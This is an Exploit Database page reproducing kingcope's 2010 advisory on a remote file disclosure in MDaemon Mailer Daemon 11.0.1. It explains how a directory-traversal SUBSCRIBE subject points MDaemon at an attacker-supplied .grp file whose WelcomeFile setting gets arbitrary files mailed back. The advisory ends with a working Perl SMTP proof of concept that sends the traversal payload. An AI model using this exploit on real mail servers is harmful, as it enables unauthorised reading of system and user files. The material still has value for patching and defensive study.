MDaemon Mailer Daemon 11.0.1 – Remote File Disclosure

Exploit Database
104 阅读

作者： kingcope

日期： 2010-05-05
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/12511/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

MDaemon Mailer Daemon Version 11.0.1 (LATEST) Remote File Disclosure

Bug Found & Exploited by Kingcope

May 2010

The latest version at the time of this advisory is vulnerble to the attack.

It seems all files which the SYSTEM account can read can be accessed remotely,

even accessing files on SMB shares located in the local network might

be possible.

The caveat is that only human readable files can be read.

This bug is complex so let's break the attack down into it's different pieces.

Mailing list support in MDaemon

---

MDaemon support mailing list. When a mailing list is configured, people can

subscribe and use the mailing list commands which are sent to

MDaemon@<domainhere>.

The MDaemon Software stores configurations for mailing lists inside a

file with the grp extension

which is located in <MDaemonDir>(normally C:\MDaemon)\App so for

example in C:\MDaemon\App.

A mailing list group file can look like the following (only a snippet

of the file):

---snip---

# Mailing List file

; ListName = test@company.mail

; Private = N

; HideFromAddressBook = N

; AllowExpn = Y

; ListNameInSubject = Y

...

---snip---

grp file

Inside the grp file there is a setting for a welcome message which is

sent when a user subscribes to

a mailing list.

The field is named "WelcomeFile", for example this setting can be:

; WelcomeFile = C:\autoexec.bat

Directory traversal in SUBSCRIBE (and other commands, SUBSCRIBE is the

important for the attack)

When subscribing to a mailing list the user sends an E-Mail with a subject like:

SUBSCRIBE test-mailinglist@<domainhere>

In this case a grp file named test-mailinglist@domain.grp will be

searched for in C:\MDaemon\App\.

An attacker can now supply dot dot slashes here to point to a

different file as intended, for example:

SUBSCRIBE VVV@"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar

In this case the Mailer Daemon will look for the grp file in the

location C:\Users\Kcope\OpenShare\foobar.grp.

If the file exists MDaemon will use this file and send back a

confirmation E-Mail because of a mailing list subscription.

The attack does not depend on a mailing list being configured but on a

file which the user controls under a C: folder (which

he for example uploaded through SMB or FTP). So this is the only

migitation for the attack. I did not find a way to

discard the grp file extension added to the requested file, so it's

not possible to reuse sent mails by the attacker

for example.

Welcome message file and final attack

As seen before the grp file supports a welcome message file setting.

When the user responds to the malicious

subscription request sent by him (it's important to change the domain

name at this point to the correct one, because

MDaemon gets confused by the ../ domainname seen above when sending

the confirmation mail) he will gracefully receive

the requested file which was set in grp file back as an email

contained in a welcome E-Mail by MDaemon.

Exploit PoC

The following exploit will force the welcome file set in

c:/users/kcope/openshare/foobar.grp to be sent to the attacker

after confirming the subscription request.

---snip---

use IO::Socket::INET;

use MIME::Base64;

$|=1;

$sock = IO::Socket::INET->new(PeerAddr => 'localhost',

PeerPort => '25',

Proto=> 'tcp');

print $sock "EHLO you\r\n";

print $sock "MAIL FROM: <niko>\r\n";

print $sock "RCPT TO: <MDaemon\@company.mail>\r\n";

print $sock "DATA\r\n";

print $sock "Date: 23 Oct 81 11:22:33\r\n";

print $sock "From: <niko>\r\n";

print $sock "To: <MDaemon\@company.mail>\r\n";

print $sock "Subject: SUBSCRIBE

VVV\@\"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar\r\n";

print $sock "\r\n\r\ntest\r\n.\r\nQUIT\r\n";

print ".";

while(<$sock>) {

print;

}

---snip---

Kingcope